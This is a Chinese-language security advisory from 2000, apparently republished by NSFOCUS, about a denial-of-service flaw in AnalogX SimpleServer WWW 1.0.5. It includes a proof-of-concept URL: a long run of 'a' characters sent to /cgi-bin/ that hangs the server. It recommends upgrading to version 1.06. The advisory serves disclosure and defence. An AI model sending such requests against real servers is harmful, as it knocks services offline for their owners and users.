安全研究
安全漏洞
AnalogX SimpleServer WWW 1.05 拒绝服务攻击漏洞
发布日期:2000-06-16
更新日期:2000-06-16
受影响系统:
AnalogX SimpleServer:WWW 1.0.5
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
描述:
如果发送一个很长的链接请求给SimpleServer WWW 1.05的80端口。将使服务进程
停止响应。必须重新启动服务才能恢复正常工作。
<* 来源:USSR Advisory Code: USSR-2000045 <labs@ussrback.com>
http://www.ussrback.com
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
提交这样的链接请求,将导致服务停止响应:
http://serverip/cgi-bin/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
建议:
升级到1.06版本,您可以从下列地址下载:
http://www.analogx.com/files/sswwwi.exe
浏览次数:6365
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载 绿盟科技给您安全的保障 |